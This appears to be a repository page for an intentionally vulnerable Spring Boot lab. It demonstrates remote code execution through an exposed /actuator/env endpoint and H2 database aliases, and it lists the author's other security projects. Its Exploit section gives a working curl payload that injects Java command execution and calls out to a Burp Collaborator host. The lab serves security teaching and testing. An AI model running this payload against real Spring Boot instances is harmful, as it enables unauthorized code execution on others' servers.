• Stars
    star
    102
  • Rank 333,608 (Top 7 %)
  • Language
    Java
  • Created over 4 years ago
  • Updated over 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Sample Spring Boot App Demonstrating RCE via Exposed env Actuator and H2 Database

Spring Boot Actuator H2 RCE

Introduction

Writeup: Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2

This is a sample app based off the default Spring Boot app in Spring's documentation that demonstrates how an attacker can achieve RCE on an instance with an exposed /actuator/env endpoint and a H2 database.

Usage

First, start the app. You can do this locally or with Docker.

Local

If you run this locally, you need JDK 1.8 or later and Maven 3.2+.

./mvnw package && java -jar target/gs-spring-boot-docker-0.1.0.jar

Docker

  1. sudo docker build -t spaceraccoon/spring-boot-rce-lab .
  2. sudo docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

The app is now running on localhost:8080.

Exploit

  1. (Modify the curl request accordingly) curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'curl http://x.burpcollaborator.net\');\"}' 'http://localhost:8080/actuator/env'
  2. curl -X 'POST' -H 'Content-Type: application/json' 'http://localhost:8080/actuator/restart'

You will receive a pingback.

More Repositories

1

manuka

A modular OSINT honeypot for blue teamers
Shell
325
star
2

webpack-exploder

Unpack the source code of React and other Webpacked apps!
HTML
96
star
3

CVE-2020-10665

POC for CVE-2020-10665 Docker Desktop Local Privilege Escalation
C++
54
star
4

npm-scan

An extensible, heuristic-based vulnerability scanning tool for installed npm packages
JavaScript
49
star
5

npm-zoo

A zoo for malicious NPM packages
Python
19
star
6

accent-trainer

Flask webapp/endpoint that compares the user's speech with different accents and assigns similarity scores based on speed, voice (DTW/MFCC), and accuracy. The accents are generated from Amazon Polly and accuracy analysis using Bing Speech API speech to text.
Python
15
star
7

icalendardb

A data
HTML
9
star
8

serverless-recon-example

Example of a serverless web reconaissance workflow's AWS architecture.
Go
9
star
9

detect-cve-2024-4367

YARA detection rule for CVE-2024-4367 arbitrary javascript execution in PDF.js
YARA
7
star
10

lohrem-ipsum

A Singlish version of the classic Lorem Ipsum generator coded as a Racket webapp.
Racket
4
star
11

aws-amazon-polly-flask-sample

Amazon Polly implementation that mirrors the Python example provided by AWS, only using the Flask framework.
HTML
3
star
12

streamliner-doc-word-replacer

Flask webapp that replaces words in documents according to debate tournament rules. Useful if you want to quickly replace a dictionary of words and save syllables.
Python
3
star
13

road-sign-manager

A civic hacking project in collaboration with MakeHaven and New Haven Transportation. A cloud road sign manager platform.
JavaScript
3
star
14

manuka-client

Frontend client for Manuka
TypeScript
2
star
15

unicollider

An elegant frontend to generate and detect possible Unicode transformation collisions.
HTML
2
star
16

npm-scan-backtest

Backtest npm-scan on past updates on npmjs
Python
1
star
17

Challendar-TISC-2022-Challenge-7

Go
1
star
18

code4good-crash-course

A developer crash course for my team at Code4Good.
JavaScript
1
star
19

manuka-listener

Listener honeypot for Manuka
Go
1
star
20

manuka-server

REST API and business logic for Manuka
Go
1
star
21

electronic-road-sign-simulator

Express app that simulates an electronic road sign that is updated over the web live via websockets.
JavaScript
1
star
22

jobcan-automatic-clock-chrome-extension

Chrome extension for automatic clocking on JobCan (Unofficial)
JavaScript
1
star
23

SSRFTest

SSRF testing tool
Python
1
star